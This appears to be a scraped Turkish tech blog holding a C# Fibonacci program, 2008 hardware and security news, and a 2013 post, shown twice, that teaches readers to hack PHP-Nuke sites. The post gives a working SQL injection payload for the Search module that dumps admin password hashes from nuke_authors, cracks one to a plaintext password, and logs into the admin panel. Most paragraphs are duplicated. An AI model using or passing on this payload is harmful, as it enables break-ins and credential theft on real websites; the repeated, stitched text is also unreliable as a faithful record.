namespace Fibonacci
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Klavyeden girilen terim sayısına göre fibonacci sayılarını listeleyen program.");
Console.Write("Terim sayısını giriniz :");
int a = Convert.ToInt32(Console.ReadLine());
int terim1 = 1; int terim2 = 1;
Console.WriteLine(terim1);
Console.WriteLine(terim2);
for (int i = 1; i <= a - 2; i++)
{
int terim3 = terim1 + terim2;
Console.WriteLine(terim3);
terim1 = terim2;
terim2 = terim3;
}
Console.ReadKey();
}
}
}
17 Şubat 2013 Pazar
15 Şubat 2013 Cuma
Sizlere phpnuke'li sistemleri nasıl hackleye bileceginizi ögretecegim..
öncelikle arama kodumuz
modules.php?name=Search
php nuke li sistemlerin search modulune aratacaggımız kod'la admin md5'lerine ulaşacagız..
ben önceden bir site ayarlamıştım :)
Hedef Site : http://www.x.com
şimdi vercegimiz kodu aratalım bakalım :))
p00gg0nsee%')UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
f00ec71a92e1bf06eeb408db53f5f7e8
Contributed by RejiMC
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
abf371dd49197afff21c973c309dc836
Contributed by Devilstomper
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
477c4e813a64271fe43b24aba6973412
Contributed by mum
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
b6a088f4ec32b9b6a46aa6b3ce9d4280
Contributed by Bruce
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
Gördügünüz Gibi adminlerin Md5 leri elimizde :)
Ben genelde md5leri kırmak için md5lookup.com'u kullanırım Tabi hangi sitede kırmak size ait :)
abf371dd49197afff21c973c309dc836 - Br549
admin şifresini aldık..
admin nick : Devilstomper
şifre : Br549
Sitenin sonuna admin.php getirerek sitenin yönetim paneline girebiliriz..
Girişte beni otomatik tanıdı çünkü önceden md5'i kırıp panele ulaşmıştım :)
şimdide uyarımızı bırakalım.. Bazı arkadaşlar Modulleri tam bilmiyor olabilir..
modules.php?name=Search
php nuke li sistemlerin search modulune aratacaggımız kod'la admin md5'lerine ulaşacagız..
ben önceden bir site ayarlamıştım :)
Hedef Site : http://www.x.com
şimdi vercegimiz kodu aratalım bakalım :))
p00gg0nsee%')UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
f00ec71a92e1bf06eeb408db53f5f7e8
Contributed by RejiMC
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
abf371dd49197afff21c973c309dc836
Contributed by Devilstomper
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
477c4e813a64271fe43b24aba6973412
Contributed by mum
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
b6a088f4ec32b9b6a46aa6b3ce9d4280
Contributed by Bruce
Posted by 2 on Wednesday, December 31 @ 23:00:05 CST
Topic: (9 Comments) [ Edit | Delete ]
Gördügünüz Gibi adminlerin Md5 leri elimizde :)
Ben genelde md5leri kırmak için md5lookup.com'u kullanırım Tabi hangi sitede kırmak size ait :)
abf371dd49197afff21c973c309dc836 - Br549
admin şifresini aldık..
admin nick : Devilstomper
şifre : Br549
Sitenin sonuna admin.php getirerek sitenin yönetim paneline girebiliriz..
Girişte beni otomatik tanıdı çünkü önceden md5'i kırıp panele ulaşmıştım :)
şimdide uyarımızı bırakalım.. Bazı arkadaşlar Modulleri tam bilmiyor olabilir..
31 Mart 2008 Pazartesi
Hacker'lar insan beynini hedef olarak seçti
İnternet saldırganlarının şimdiye kadarki hedefi genellikle bilişim sistemleriydi. Ancak geçtiğimiz hafta yaşanan bir eylem insanların da kurban olabileceğini ortaya koydu.
Radikal'in haberine göre, halk arasında 'sara' olarak da adlandırılan epilepsi, kronik bir nörolojik rahatsızlık. Dünyada yaklaşık 50 milyon kişide bulunan epilepsi, kimi zaman sadece çocukluk yaşlarında görünse de tedavi edilemeyen bir hastalık olduğundan dolayı ömür boyu tekrarlama riskine sahip. Yüzde 70'inin sebebi bilinmeyen bu hastalığa sahip olanların en büyük yardımcılarından biri de internet. Hem bilgilenme, hem de diğer hastalarla tecrübe ve tavsiyeleri paylaşma için web hizmetleri benzersiz seçenekler sunuyor.
Ne var ki geçtiğimiz hafta yaşanan bir olay epilepsi hastaları için aynı internetin korkutucu ve tehlikeli olabileceğini de gösterdi. ABD merkezli Epilepsi Vakfı'nın tartışma forumuna bilinmeyen kişilerce yazılan mesajlar ziyaret eden hastalarda ciddi migren ağrıları ve epilepsi krizlerini tetikledi. Gelen uyarı ve şikayetlerin ardından vakıf birkaç gün tartışma forumunu kapatarak söz konusu mesajları temizledi.
22 Mart tarihinde başlayan eylemde korsanlar otomatik bir yazılım sayesinde foruma içinde hareketli bir resim barındıran mesajdan yüzlerce yolladı. Normal kullanıcılar için sinir bozmaktan başka hiçbir etki yapmayacak bu olay epilepsi hastalarını allak bullak etti. Hareketli, yanıp sönen, parlak renkli ışık ve görsel unsurların bazılarında krizi tetiklediğini bilen siber saldırganlar 'başarıyı' yakaladı. Siteye mesaj yağdıran üyelerden birçoğu bu mesajlar yüzünden şifa bulmak için geldikleri sayfalarda krize girmişti!
Yapılan araştırmalarda saldırının kaynağının bir süre önce Scientology tarikatına karşı başlattığı kampanyayla adını duyuran Anonymous adlı grup olduğu ortaya çıktı. Epilepsi hastalarının yüzde 3'ü bu tip parlak ışık ve animasyonlarda krize giriyor.
Radikal'in haberine göre, halk arasında 'sara' olarak da adlandırılan epilepsi, kronik bir nörolojik rahatsızlık. Dünyada yaklaşık 50 milyon kişide bulunan epilepsi, kimi zaman sadece çocukluk yaşlarında görünse de tedavi edilemeyen bir hastalık olduğundan dolayı ömür boyu tekrarlama riskine sahip. Yüzde 70'inin sebebi bilinmeyen bu hastalığa sahip olanların en büyük yardımcılarından biri de internet. Hem bilgilenme, hem de diğer hastalarla tecrübe ve tavsiyeleri paylaşma için web hizmetleri benzersiz seçenekler sunuyor.
Ne var ki geçtiğimiz hafta yaşanan bir olay epilepsi hastaları için aynı internetin korkutucu ve tehlikeli olabileceğini de gösterdi. ABD merkezli Epilepsi Vakfı'nın tartışma forumuna bilinmeyen kişilerce yazılan mesajlar ziyaret eden hastalarda ciddi migren ağrıları ve epilepsi krizlerini tetikledi. Gelen uyarı ve şikayetlerin ardından vakıf birkaç gün tartışma forumunu kapatarak söz konusu mesajları temizledi.
22 Mart tarihinde başlayan eylemde korsanlar otomatik bir yazılım sayesinde foruma içinde hareketli bir resim barındıran mesajdan yüzlerce yolladı. Normal kullanıcılar için sinir bozmaktan başka hiçbir etki yapmayacak bu olay epilepsi hastalarını allak bullak etti. Hareketli, yanıp sönen, parlak renkli ışık ve görsel unsurların bazılarında krizi tetiklediğini bilen siber saldırganlar 'başarıyı' yakaladı. Siteye mesaj yağdıran üyelerden birçoğu bu mesajlar yüzünden şifa bulmak için geldikleri sayfalarda krize girmişti!
Yapılan araştırmalarda saldırının kaynağının bir süre önce Scientology tarikatına karşı başlattığı kampanyayla adını duyuran Anonymous adlı grup olduğu ortaya çıktı. Epilepsi hastalarının yüzde 3'ü bu tip parlak ışık ve animasyonlarda krize giriyor.
25 Mart 2008 Salı
Blu-ray
Haftalar boyu dedikodusu yapıldı ve sonrasında her şey çok hızlı gerçekleşti: Toshiba şefi Atsutoshi Nishida 19 Şubat 2008'de son bir defa daha HD-DVD'nin avantajlarından bahsetti - ama her nedense geçmiş zamanda konuşuyordu. Sonrasında seneler boyu DVD'nin halefi olma savaşını sona erdiren nihai sözler söylendi: "Kesin pazar analizlerinin sonucunda bundan sonra HD-DVD oynatıcı, kaydedici ve PC sürücüsü geliştirmemeye, üretmemeye ve pazarlamamaya karar verdik. Firmamızı ve her şeyden önce müşterilerimizi hayal kırıklığına uğrattık. Fakat hızlı bir kararın, piyasaya gelişim sürecine çok daha yardımcı olacağını düşündük."
Mart 2008'in sonunda kadar mağazalarda bulunan HD-DVD cihazlar daha iyi DVD-çalarlar niyetine zararına satılacak - bu kadar: Gelecek Blu-ray diske ait
Mart 2008'in sonunda kadar mağazalarda bulunan HD-DVD cihazlar daha iyi DVD-çalarlar niyetine zararına satılacak - bu kadar: Gelecek Blu-ray diske ait
19 Mart 2008 Çarşamba
Daha Küçük, Daha Güçlü
Yılın henüz başlarında olmamıza rağmen dizüstü bilgisayar üreticileri şimdiden onlarca yeni modeli duyurdu veya piyasaya sürdü. Dizüstü bilgisayarlarda bu yılın trendi daha yüksek performans ve daha fazla donanımı, daha küçük boyutlarda sunmak.
Dizüstü bilgisayarlarda şimdiye kadar 15.4 inç ekrana sahip iri kıyım modeller standarttı. 2008'de de bu durum değişmeyecek. Ancak pazarın yönü daha kompakt ölçülere sahip 14.1 ve 13.3 inç dizüstü bilgisayarlara doğru. Bu modellerin fiyatları hızlı bir düşüş eğiliminde olmasına rağmen performans ve donanım özellikleri aynı ölçüde artmakta. Bu sayede, bilgisayarını hem yanında taşıyıp hem de her işi için kullanmak isteyen kullanıcılar da dizüstü bilgisayarın keyfini sürebiliyor. Daha önceleri bu modeller yalnızca ofis, internet ve multimedya uygulamaları için kullanılabiliyordu. 17 inç ekranlı dev modeller ise boyutları ve ağırlıkları yüzünden taşınabilir olmaktan oldukça uzak. Bu nedenle pazarda ancak kısıtlı sayıda modelle temsil ediliyorlar.
Yeni duyurulan modellerin büyük çoğunluğu 2 GB belleğe ve Intel'in yeni nesil Core 2 Duo T8xxx ve T9xxx (Penryn) işlemcilerine sahip. Kimi modellerde DVD yazıcı yerine Blu-Ray uyumlu sürücülerin de sunulduğunu görmek mümkün. Pazarda söz sahibi üreticilerin yeni modellerini, öne çıkan özellikleriyle birlikte galerimizde inceleyebilirsiniz
Dizüstü bilgisayarlarda şimdiye kadar 15.4 inç ekrana sahip iri kıyım modeller standarttı. 2008'de de bu durum değişmeyecek. Ancak pazarın yönü daha kompakt ölçülere sahip 14.1 ve 13.3 inç dizüstü bilgisayarlara doğru. Bu modellerin fiyatları hızlı bir düşüş eğiliminde olmasına rağmen performans ve donanım özellikleri aynı ölçüde artmakta. Bu sayede, bilgisayarını hem yanında taşıyıp hem de her işi için kullanmak isteyen kullanıcılar da dizüstü bilgisayarın keyfini sürebiliyor. Daha önceleri bu modeller yalnızca ofis, internet ve multimedya uygulamaları için kullanılabiliyordu. 17 inç ekranlı dev modeller ise boyutları ve ağırlıkları yüzünden taşınabilir olmaktan oldukça uzak. Bu nedenle pazarda ancak kısıtlı sayıda modelle temsil ediliyorlar.
Yeni duyurulan modellerin büyük çoğunluğu 2 GB belleğe ve Intel'in yeni nesil Core 2 Duo T8xxx ve T9xxx (Penryn) işlemcilerine sahip. Kimi modellerde DVD yazıcı yerine Blu-Ray uyumlu sürücülerin de sunulduğunu görmek mümkün. Pazarda söz sahibi üreticilerin yeni modellerini, öne çıkan özellikleriyle birlikte galerimizde inceleyebilirsiniz
7 Mart 2008 Cuma
AMD: Bütünleşik ekran kartlı yeni yonga seti
AMD, hızlı bir grafik çözümü barındıran 780 ismindeki yeni yonga setini tanıtıyor...
AMD 780: Hızlı onboard grafik çözümü.AMD CeBIT'te 780 yonga setini tanıtıyor. Bu yonga seti ATI'nin hızlı bir onboard ekran kartı ile beraber gelecek.
AMD'ye göre bu set üzerine inşa edilmiş GPU, Intel'in anakartlarda kullanılan G33 yongasından üç kat daha hızlı olacak. Buna ek olarak kullanıcı sahip olduğu Radeon ekran kartını onboard grafik çözümü ile beraber Crossfire modunda kullanabilecek. Eğer bilgisayar Windows masaüstü veya Office modunda çalışıyorsa ekran kartı enerjiden tasarruf etmek için kendini kapatıyor; oyun başlarsa buna uygun olarak çalışmaya başlıyor.
780 yonga setini kullanan ilk anakartlar bu senenin ikinci çeyreğinde piyasaya sürülecek. Üreticiler arasında Abit ve Elitegroup gibi tanıdık isimler var.
AMD 780: Hızlı onboard grafik çözümü.AMD CeBIT'te 780 yonga setini tanıtıyor. Bu yonga seti ATI'nin hızlı bir onboard ekran kartı ile beraber gelecek.
AMD'ye göre bu set üzerine inşa edilmiş GPU, Intel'in anakartlarda kullanılan G33 yongasından üç kat daha hızlı olacak. Buna ek olarak kullanıcı sahip olduğu Radeon ekran kartını onboard grafik çözümü ile beraber Crossfire modunda kullanabilecek. Eğer bilgisayar Windows masaüstü veya Office modunda çalışıyorsa ekran kartı enerjiden tasarruf etmek için kendini kapatıyor; oyun başlarsa buna uygun olarak çalışmaya başlıyor.
780 yonga setini kullanan ilk anakartlar bu senenin ikinci çeyreğinde piyasaya sürülecek. Üreticiler arasında Abit ve Elitegroup gibi tanıdık isimler var.
3 Mart 2008 Pazartesi
Süper virüslerin senesi
2007 senesi virüs, spam ve online dolandırıcılar için başarılı bir seneydi. 2008'de ise durumlar yine pek iyi sayılmaz - hatta daha da kötüye gidiyor. CHIP Online güvenlik trendlerine sizin için göz atıyor.
F-Secure firmasının virüs-araştırmacısı Mikko Hyppönen'in teşhisi şu şekilde: "Bir buçuk sene içerisinde dijital zararlıların sayısı 1,5 Milyona çıkacak." Bu teşhisi koyarken geçen seneki gelişim sürecini göz önünde bulunduruyor: 2007'de toplam 500.000 adet virüs, solucan ve trojan vardı. Yani 2006'nın iki katı kadar. Virüs yazarları ise her seferinde daha kurnazca yöntemlere başvuruyor: Zararlı yazılımları e-mailler ile göndermek artık demode - birçok kullanıcı artık bu yönteme kanmıyor.
Yeni trendin ismi "Drive by Download" (indirirken yakala). Yani kullanıcılar sadece bir web sitesine bakarken bile sistemlerine virüs bulaştırabiliyorlar. Hatta güvenilir firmaların siteleri bile zararlı yazılım dağıtımı için kullanılabiliyor. En çok kullanılan tarayıcı eklentileri arasında ise Quicktime veya Adobe Reader var. Bu eklentiler tarayıcının veya işletim sisteminin aksine nadiren güncellenir. Bu sebeple güvenlik açıkları kapatılmamış oluyor ve hackerler tarafından kullanılabiliyor. Birçok kullanıcı şunu bilmez: iTunes bir PC'ye yüklendiğinde aynı zamanda Quicktime eklentisi de kurulur.
Trojan 2.0
Finjan güvenlik uzmanları Trojan 2.0 kavramından bahsetmeye başladılar. Buradaki süreç ise şöyle: Zararlı yazılım bulaştığı için bir bot-ağının parçası olan sistem, doğrudan hackerin kendisi veya sunucudan emirleri almıyor. Kötücül yazılım bunun yerine Web 2.0 teknikleri kullanıyor: Saldırganlar komutları bloglara, forumlara ya da yorumlara yazıyor ve bunlar da kurban olarak seçilen sistemde RSS güncellemesi olarak toplanıp çalıştırılıyor. Geri dönüş yolu olarak ise aynı şablon kullanılıyor: Tuzağa düşen kullanıcının kişisel bilgileri ve şifreleri forum ve bloglara geri postalanıyor ve hacker tarafında depolanıyor. Mağdur kimsenin bunu engellemesi ise neredeyse imkânsız.
Hedeftekiler: Vista ve MacOS
Neredeyse tüm güvenlik uzmanları bu konuda hemfikir: 2008'de Windows XP yavaş yavaş virüs yazarlarının görüş alanında çıkacak. Onun yerini ise gittikçe daha da fazla yaygınlaşan ve doğal olarak da saldırı için uygun bir hedef olan Vista alacak. Apple kullanıcıları da tehlikede: MacOS gittikçe popülerleşiyor ve değerli bir hedef haline geliyor. 2007 sonunda finansal olarak motive edilmiş ilk Mac-Bilgisayar hack saldırısı gerçekleşti. Sophos'dan Christoph Hardy, Apple kullanıcılarını bu tehlikeyi hafife almama konusunda uyarıyor.
F-Secure firmasının virüs-araştırmacısı Mikko Hyppönen'in teşhisi şu şekilde: "Bir buçuk sene içerisinde dijital zararlıların sayısı 1,5 Milyona çıkacak." Bu teşhisi koyarken geçen seneki gelişim sürecini göz önünde bulunduruyor: 2007'de toplam 500.000 adet virüs, solucan ve trojan vardı. Yani 2006'nın iki katı kadar. Virüs yazarları ise her seferinde daha kurnazca yöntemlere başvuruyor: Zararlı yazılımları e-mailler ile göndermek artık demode - birçok kullanıcı artık bu yönteme kanmıyor.
Yeni trendin ismi "Drive by Download" (indirirken yakala). Yani kullanıcılar sadece bir web sitesine bakarken bile sistemlerine virüs bulaştırabiliyorlar. Hatta güvenilir firmaların siteleri bile zararlı yazılım dağıtımı için kullanılabiliyor. En çok kullanılan tarayıcı eklentileri arasında ise Quicktime veya Adobe Reader var. Bu eklentiler tarayıcının veya işletim sisteminin aksine nadiren güncellenir. Bu sebeple güvenlik açıkları kapatılmamış oluyor ve hackerler tarafından kullanılabiliyor. Birçok kullanıcı şunu bilmez: iTunes bir PC'ye yüklendiğinde aynı zamanda Quicktime eklentisi de kurulur.
Trojan 2.0
Finjan güvenlik uzmanları Trojan 2.0 kavramından bahsetmeye başladılar. Buradaki süreç ise şöyle: Zararlı yazılım bulaştığı için bir bot-ağının parçası olan sistem, doğrudan hackerin kendisi veya sunucudan emirleri almıyor. Kötücül yazılım bunun yerine Web 2.0 teknikleri kullanıyor: Saldırganlar komutları bloglara, forumlara ya da yorumlara yazıyor ve bunlar da kurban olarak seçilen sistemde RSS güncellemesi olarak toplanıp çalıştırılıyor. Geri dönüş yolu olarak ise aynı şablon kullanılıyor: Tuzağa düşen kullanıcının kişisel bilgileri ve şifreleri forum ve bloglara geri postalanıyor ve hacker tarafında depolanıyor. Mağdur kimsenin bunu engellemesi ise neredeyse imkânsız.
Hedeftekiler: Vista ve MacOS
Neredeyse tüm güvenlik uzmanları bu konuda hemfikir: 2008'de Windows XP yavaş yavaş virüs yazarlarının görüş alanında çıkacak. Onun yerini ise gittikçe daha da fazla yaygınlaşan ve doğal olarak da saldırı için uygun bir hedef olan Vista alacak. Apple kullanıcıları da tehlikede: MacOS gittikçe popülerleşiyor ve değerli bir hedef haline geliyor. 2007 sonunda finansal olarak motive edilmiş ilk Mac-Bilgisayar hack saldırısı gerçekleşti. Sophos'dan Christoph Hardy, Apple kullanıcılarını bu tehlikeyi hafife almama konusunda uyarıyor.
21 Şubat 2008 Perşembe
Vista SP1: Bu programlar problem oluşturuyor
SP1 kurulumundan sonra çalışmayacak bazı programların bulunduğu bir liste yayımlandı...
Vista Service Pack 1: Kullanıcılar kısmen bazı programları güncellemeliler.Microsoft, Service Pack 1'in kurulumundan sonra düzgün çalışmayan ve hiç çalışmayan programların bulunduğu bir liste yayımladı.
Bunların arasında BitDefender 10, Trend Micro Internet Security 2008 ve Zone Alarm Security Suite 7.1 gibi güvenlik programları var. Sorun, bahsi geçen araçların genellikle eski sürümlerini ilgilendiriyor. Çoğu durumda üreticiler Vista SP1 altında da çalışan sürümleri çoktan yayımladılar.
Bu arada Microsoft, Vista Service Pack 1'i donanım üreticilerine, Volume-Licence sahiplerine ve MSDN üyelerine dağıttı. Son kullanıcılar SP1'i mart ayında "standalone" olarak nisan ayında ise otomatik güncelleştirmeler üzerinden indirebilecek.
Vista Service Pack 1: Kullanıcılar kısmen bazı programları güncellemeliler.Microsoft, Service Pack 1'in kurulumundan sonra düzgün çalışmayan ve hiç çalışmayan programların bulunduğu bir liste yayımladı.
Bunların arasında BitDefender 10, Trend Micro Internet Security 2008 ve Zone Alarm Security Suite 7.1 gibi güvenlik programları var. Sorun, bahsi geçen araçların genellikle eski sürümlerini ilgilendiriyor. Çoğu durumda üreticiler Vista SP1 altında da çalışan sürümleri çoktan yayımladılar.
Bu arada Microsoft, Vista Service Pack 1'i donanım üreticilerine, Volume-Licence sahiplerine ve MSDN üyelerine dağıttı. Son kullanıcılar SP1'i mart ayında "standalone" olarak nisan ayında ise otomatik güncelleştirmeler üzerinden indirebilecek.
17 Şubat 2008 Pazar
Sağlam sabit disk: Transcend StoreJet 2.5 Mob
Transcend, StoreJet 2.5 mobile ile darbelere son derece dayanıklı olan bir sabit disk sunuyor...
StoreJet 2.5 mobile: Transcend'e göre MIL-STD-810F normlarına uyuyor.Transcend, StoreJet 2.5 mobile ile darbelere son derece dayanıklı olan ve Amerikan ordusunun standartlarına uyan bir sabit diski pazara sunuyor.
Sürücü toz, su sıçramasına karşı korumalı, çarpmaya dayanıklı ve 40 ila 70 derece arası sıcaklıklarda herhangi bir zarar görmeden durabiliyor. StoreJet çalışmak için gerekli elektriği bağlandığı USB kablosundan alabiliyor. Üreticinin verdiği veri transferi oranı ise saniyede 480 MBit.
Kutu içeriğine yedekleme yazılımı StoreJet dâhil edilmiş. Kullanıcı diski PC'ye bağladığı anda bir tuşa basarak yedekleme işlemini başlatabiliyor.
Ürünün 160 GB ve 250 GB'lık sürümleri şu anda mevcut. 320 GB'lık bir sürümün üretimi de planlanıyor.
StoreJet 2.5 mobile: Transcend'e göre MIL-STD-810F normlarına uyuyor.Transcend, StoreJet 2.5 mobile ile darbelere son derece dayanıklı olan ve Amerikan ordusunun standartlarına uyan bir sabit diski pazara sunuyor.
Sürücü toz, su sıçramasına karşı korumalı, çarpmaya dayanıklı ve 40 ila 70 derece arası sıcaklıklarda herhangi bir zarar görmeden durabiliyor. StoreJet çalışmak için gerekli elektriği bağlandığı USB kablosundan alabiliyor. Üreticinin verdiği veri transferi oranı ise saniyede 480 MBit.
Kutu içeriğine yedekleme yazılımı StoreJet dâhil edilmiş. Kullanıcı diski PC'ye bağladığı anda bir tuşa basarak yedekleme işlemini başlatabiliyor.
Ürünün 160 GB ve 250 GB'lık sürümleri şu anda mevcut. 320 GB'lık bir sürümün üretimi de planlanıyor.
13 Şubat 2008 Çarşamba
ESET NOD32 Antivirüs 3.0 sürümü Virus Bulletin tarafından 48. kez VB100 ile ödüllendirildi
Virus Bulletin'den John Hawes "NOD32 Versiyon 3.0 VB100 test denemesinde ilk kez bulunmasına rağmen, şıklık ve akıllı düzeni sayesinde etkilemeye, testleri müthiş basitlikte koşturma imkanı vermeye ve test etme denetimini bir eğlence haline getirmeye devam etmektedir," şeklinde bir yoruma yer verdi. "ESET NOD32'nin VB100 ödülünü, Wild List de yer alan tüm virüsleri tesbit ederken hiçbir yanlış tesbit yapmayarak haketti," şeklinde konuştu.
ESET Üst Yöneticisi Anton Zajac "ESET'in, NOD32 Antivirüs Versiyon 3.0'u geliştirme göstererek Versiyon 2.7'yi geride bırakmasından memnunuz. Özellikle hiçbir yanlış tesbitte bulunmaması ve "In-the-Wild" virüslerin %100 oranda tesbit edilmesi büyük memnuniyet sağladı," dedi. "Endüstri lideri 48inci VB100 ödülü bizim gelişmiş sezgisel algoritmamıza bir vasiyettir ve ESET markası altında yenilikçi olmaya devam edilecektir. Tehditler daha karmaşık oldukça, biz de bir adım öteye ilerlemeye devam edeceğiz ve kullanıcılarımızı gelecek tehditler daha ortaya çıkmadan korumak için elimizdekinin en iyisini yaparak bunu başaracağız."
ESET NOD32 Antivirüs, gelişmiş sezgisel bir makine olan, henüz çok sık güncellenen imza tabanlı ürünler tarafından bile tesbit edilemeyen zararlı yazılımlara karşı koruma sağlayan, ThreatSense® teknolojisinden güç alıyor. Geleneksel çözümlerden farklı olarak, ESET NOD32 Antivirüs, gerçek zamanda yürütülen kodu, simüle edilen bir ortamda çözümler ve analiz ediyor.
Virus Bulletin nedir?
Virus Bulletin, rakip antivirüs ürünlerin bağımsız testlerini yapmakta, antivirüs ürün geliştiren toplulukta yaygın olarak bilinmekte ve saygı görmektedir.
Virus Bulletin ilk VB100 ödülünü 1998 yılında tanıtmıştır. Bir antivirüs ürünün VB100 logosunu sahip olabilmesi için iki kriteri sağlaması gerekmektedir: (1) Tüm "In-the-Wild" virüsleri, isteğe bağlı ve erişimde taramalarda tesbit edebildiğini gösterebilmelidir; ve, (2) Temiz dosyalardan oluşan bir dosyalar kümesini taradığında, hiçbir yanlış virüs tesbiti yapmamalıdır.
ESET Üst Yöneticisi Anton Zajac "ESET'in, NOD32 Antivirüs Versiyon 3.0'u geliştirme göstererek Versiyon 2.7'yi geride bırakmasından memnunuz. Özellikle hiçbir yanlış tesbitte bulunmaması ve "In-the-Wild" virüslerin %100 oranda tesbit edilmesi büyük memnuniyet sağladı," dedi. "Endüstri lideri 48inci VB100 ödülü bizim gelişmiş sezgisel algoritmamıza bir vasiyettir ve ESET markası altında yenilikçi olmaya devam edilecektir. Tehditler daha karmaşık oldukça, biz de bir adım öteye ilerlemeye devam edeceğiz ve kullanıcılarımızı gelecek tehditler daha ortaya çıkmadan korumak için elimizdekinin en iyisini yaparak bunu başaracağız."
ESET NOD32 Antivirüs, gelişmiş sezgisel bir makine olan, henüz çok sık güncellenen imza tabanlı ürünler tarafından bile tesbit edilemeyen zararlı yazılımlara karşı koruma sağlayan, ThreatSense® teknolojisinden güç alıyor. Geleneksel çözümlerden farklı olarak, ESET NOD32 Antivirüs, gerçek zamanda yürütülen kodu, simüle edilen bir ortamda çözümler ve analiz ediyor.
Virus Bulletin nedir?
Virus Bulletin, rakip antivirüs ürünlerin bağımsız testlerini yapmakta, antivirüs ürün geliştiren toplulukta yaygın olarak bilinmekte ve saygı görmektedir.
Virus Bulletin ilk VB100 ödülünü 1998 yılında tanıtmıştır. Bir antivirüs ürünün VB100 logosunu sahip olabilmesi için iki kriteri sağlaması gerekmektedir: (1) Tüm "In-the-Wild" virüsleri, isteğe bağlı ve erişimde taramalarda tesbit edebildiğini gösterebilmelidir; ve, (2) Temiz dosyalardan oluşan bir dosyalar kümesini taradığında, hiçbir yanlış virüs tesbiti yapmamalıdır.
10 Şubat 2008 Pazar
MacBook Air'in işlemcisi PC'lere geliyor
MacBook Air'in özel-yapım işlemcisi yakında bazı PC üreticileri tarafından lisanslanacak...
MacBook Air'in özel-yapım işlemcisi yakında bazı PC üreticileri tarafından lisanslanacak. Bilgilere göre en az iki bilgisayar üreticisi özel Core 2 Duo işlemci ile kısa bir süre içinde yeni sistemler çıkaracak. Çıkacak olan bu laptoplar hakkında detaylar belirtilmiyor fakat işlemcinin performanstan fazla ödün vermeden ufak tasarımlı sistemlerin inşa edilmesine olanak tanıyacağı söyleniyor.
Lenovo'nun çıkacarağı ThinkPad X300'ünde bu işlemciyi kullanması beklenmiyor. Zira bu laptop, MacBook'taki gibi 1.6 veya 1.8 GHz'lik özel bir işlemci yerine standart 2.0 GHz düşük-voltajlı Core 2 Duo kullanacak.
Her ne kadar Steve Jobs'un tanıtımı sırasında Apple'ın ihtiyaçlarına has bir işlemciymiş gibi lanse edilse de Intel'e göre referans alınan bu kombinasyon, isteyen herkes tarafından kullanılabilir.
MacBook Air'in özel-yapım işlemcisi yakında bazı PC üreticileri tarafından lisanslanacak. Bilgilere göre en az iki bilgisayar üreticisi özel Core 2 Duo işlemci ile kısa bir süre içinde yeni sistemler çıkaracak. Çıkacak olan bu laptoplar hakkında detaylar belirtilmiyor fakat işlemcinin performanstan fazla ödün vermeden ufak tasarımlı sistemlerin inşa edilmesine olanak tanıyacağı söyleniyor.
Lenovo'nun çıkacarağı ThinkPad X300'ünde bu işlemciyi kullanması beklenmiyor. Zira bu laptop, MacBook'taki gibi 1.6 veya 1.8 GHz'lik özel bir işlemci yerine standart 2.0 GHz düşük-voltajlı Core 2 Duo kullanacak.
Her ne kadar Steve Jobs'un tanıtımı sırasında Apple'ın ihtiyaçlarına has bir işlemciymiş gibi lanse edilse de Intel'e göre referans alınan bu kombinasyon, isteyen herkes tarafından kullanılabilir.
30 Ocak 2008 Çarşamba
Masaüstü gibi performans veren dizüstü tanımına tam da uyan bir laptop Schenker tarafından üretildi
Masaüstü gibi performans veren dizüstü tanımına tam da uyan bir laptop Schenker tarafından üretildi
Schenker firması bugün SLI modunda çalışan iki GeForce 8800M GTX'e sahip D901C dizüstü serisini tanıttı. Cihazlar Mart 2008'den itibaren temin edilebilecek. Maksimum konfigürasyona sahip modelin fiyatı yaklaşık 7800 Dolar (yurtdışı fiyatı).
Bu konfigürasyon Intel Core 2 Extreme QX6850 (dört çekirdekli), iki GeForce 8800M GTX, 4 GB RAM, üç adet 320 GB'lık sabit disk ve Blu-ray desteği olan bir kombo-yazıcıyı temel alıyor. İşletim sistemi olarak Windows Vista Ultimate geliyor.
Minimum konfigürasyon ise Core 2 Duo E6550, bir GeForce 8800M GTX, 1 GB RAM, bir adet 80 GB sabit disk ve Windows Vista Home Premium ile birlikle geliyor. Bu sistemin fiyatı yaklaşık 3500 Dolar (yurtdışı fiyatı).
Schenker firması bugün SLI modunda çalışan iki GeForce 8800M GTX'e sahip D901C dizüstü serisini tanıttı. Cihazlar Mart 2008'den itibaren temin edilebilecek. Maksimum konfigürasyona sahip modelin fiyatı yaklaşık 7800 Dolar (yurtdışı fiyatı).
Bu konfigürasyon Intel Core 2 Extreme QX6850 (dört çekirdekli), iki GeForce 8800M GTX, 4 GB RAM, üç adet 320 GB'lık sabit disk ve Blu-ray desteği olan bir kombo-yazıcıyı temel alıyor. İşletim sistemi olarak Windows Vista Ultimate geliyor.
Minimum konfigürasyon ise Core 2 Duo E6550, bir GeForce 8800M GTX, 1 GB RAM, bir adet 80 GB sabit disk ve Windows Vista Home Premium ile birlikle geliyor. Bu sistemin fiyatı yaklaşık 3500 Dolar (yurtdışı fiyatı).
23 Ocak 2008 Çarşamba
EKRAN KARTI
AMD ve Nvidia birbirlerine üstünlük sağlamak için bir an önce yeni yongalarını sunmak istiyorlar...
Radeon HD 3870: Halef çoktan başlangıç noktasına geldi.AMD, bir sonraki grafik yongası RV770'in çıkışını hızlandırmak istiyor. Haberi bildiren ise branş dergisi digitimes.com.
Sebep olarak ise güncel Radeon-HD-3800 serisinin iyi satışları gösteriliyor. Nvidia'yı daha da zor duruma düşürmek için mümkün olan en kısa sürede yeni ekran kartları piyasaya sürülmeli.
Rakip Nvidia ise aynı renkten oynamak istiyor: Bir sonraki GPU nesli G100 de daha erken piyasaya sürülecek. Kesin veriler henüz belli değil.
